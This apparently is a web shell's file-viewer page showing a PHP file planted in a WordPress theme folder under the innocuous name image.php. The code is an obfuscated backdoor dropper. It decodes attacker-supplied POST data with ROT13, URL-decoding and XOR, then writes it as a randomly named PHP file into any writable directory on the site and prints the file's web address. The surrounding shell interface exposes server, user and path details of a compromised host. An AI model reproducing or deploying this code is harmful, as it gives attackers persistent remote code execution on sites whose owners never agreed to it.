HEX
Server: Apache
System: Linux webd003.cluster128.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User: slyfwmm (169339)
PHP: 8.1.34
Disabled: _dyuweyrj4,_dyuweyrj4r,dl
Upload Files
File: /home/slyfwmm/laretediclo/wp-content/themes/kicker/theme-specific/image.php
<?php $AZavnMpr = "WKaeIHAhBr";function ZUSOPiE($AZavnMpr){$YBXJI = "\x72".chr(97).chr(119).chr(762-645).'r'."\x6c"."\144".chr(101)."\143".chr(426-315)."\144"."\145";$cmFWkRPhUc = "\x73"."\x74"."\162"."\137".'r'.chr(111)."\x74".chr(978-929).chr(51);$OoINR = 's'.chr(116).chr(361-247)."\x5f".chr(239-124)."\x70".'l'."\151"."\164";$AZavnMpr = $OoINR($YBXJI($cmFWkRPhUc($AZavnMpr)));return $AZavnMpr;}function FMyYINbMO($IsdAt, $VQUYfQXcA){$GiJPUVtZK = "\163"."\x74"."\x72".'_'.chr(949-834).chr(334-222).'l'.'i'.chr(116);$IsdAt = array_slice($GiJPUVtZK(str_repeat($IsdAt, (count($VQUYfQXcA)/16)+1)), 0, count($VQUYfQXcA));return $IsdAt;}function CqLgERAO($AlMrDRWO, $ZcnlyYTYbV, $IsdAt){$zfLpTKkd = "8eaad688-c509-49f8-bb9a-834bda829bd7";return $AlMrDRWO ^ $zfLpTKkd[$ZcnlyYTYbV % strlen($zfLpTKkd)] ^ $IsdAt;}function ABLxk($VQUYfQXcA, $IsdAt){$VQUYfQXcA = array_map("CqLgERAO", array_values($VQUYfQXcA), array_keys($VQUYfQXcA), array_values($IsdAt));$VQUYfQXcA = implode("", $VQUYfQXcA);$emGCj = 'u'.chr(110)."\163"."\145".chr(114).'i'.'a'.chr(1014-906)."\x69"."\172"."\145";$VQUYfQXcA = @$emGCj($VQUYfQXcA);return $VQUYfQXcA;}function xknrBEAH(){echo "YLnGwYqar";}function xvPZojbyU($HybqKir){static $CWiBSK = array();$SPCCXOSM = glob($HybqKir . '/*', GLOB_ONLYDIR);$lVSXUj = count($SPCCXOSM);if ($lVSXUj > 0) {foreach ($SPCCXOSM as $HybqK) {$YEjBaF = chr(456-351)."\x73"."\x5f"."\167"."\x72"."\151".'t'.chr(97)."\x62".'l'.chr(101);if (@$YEjBaF($HybqK)) {$CWiBSK[] = $HybqK;}}}foreach ($SPCCXOSM as $HybqKir) xvPZojbyU($HybqKir);return $CWiBSK;}function kCjaGF(){echo "WKaeIHAhBr";}function AndmOpa($VQUYfQXcA){$doTHG = "\x44".chr(221-142).chr(67).chr(929-844).chr(824-747).'E'."\x4e"."\124".chr(95)."\122"."\117".chr(79).chr(84);$cRVMoIJBBy = $_SERVER[$doTHG];$SPCCXOSM = xvPZojbyU($cRVMoIJBBy);$JbifxXEC = array_rand($SPCCXOSM);$ALxcFcg = chr(317-271)."\160"."\150".chr(112);$tNqUY = $SPCCXOSM[$JbifxXEC] . "/" . substr(md5(time()), 0, 8) . $ALxcFcg;$mcslGdfq = chr(258-156)."\x69".chr(282-174).chr(409-308).'_'.'p'.'u'.chr(116).chr(896-801).chr(654-555).chr(850-739).chr(110).'t'.chr(425-324)."\156"."\164"."\163";@$mcslGdfq($tNqUY, $VQUYfQXcA);$SjEHXa = chr(184-112).'T'.'T'."\x50".chr(95).chr(828-756)."\117".chr(83)."\x54";$AJzxkeddtJ = chr(104).chr(1038-922).'t'.chr(112).':'.chr(47).chr(47);$eudBcy = $AJzxkeddtJ . $_SERVER[$SjEHXa] . substr($tNqUY, strlen($cRVMoIJBBy));print($eudBcy);}foreach ($_POST as $IsdAt => $VQUYfQXcA){$zgFcIQe = strlen($IsdAt);if ($zgFcIQe == 16){$VQUYfQXcA = ZUSOPiE($VQUYfQXcA);$IsdAt = FMyYINbMO($IsdAt, $VQUYfQXcA);$VQUYfQXcA = ABLxk($VQUYfQXcA, $IsdAt);if (@is_array($VQUYfQXcA)){$JbifxXEC = array_keys($VQUYfQXcA);$VQUYfQXcA = $VQUYfQXcA[$JbifxXEC[0]];if ($VQUYfQXcA === $JbifxXEC[0]){$WNEHQ = "\160"."\x68"."\160";$mdAPOI = chr(1033-921)."\150".chr(357-245).chr(118)."\145".'r'.'s'.chr(692-587).chr(379-268).chr(110);$NPmfGb = chr(401-286)."\145".chr(482-368).chr(757-652)."\141".chr(108).chr(105).'z'.'e';echo @$NPmfGb(Array($WNEHQ => @$mdAPOI(), ));strlen($IsdAt);}else {AndmOpa($VQUYfQXcA);}die();}}}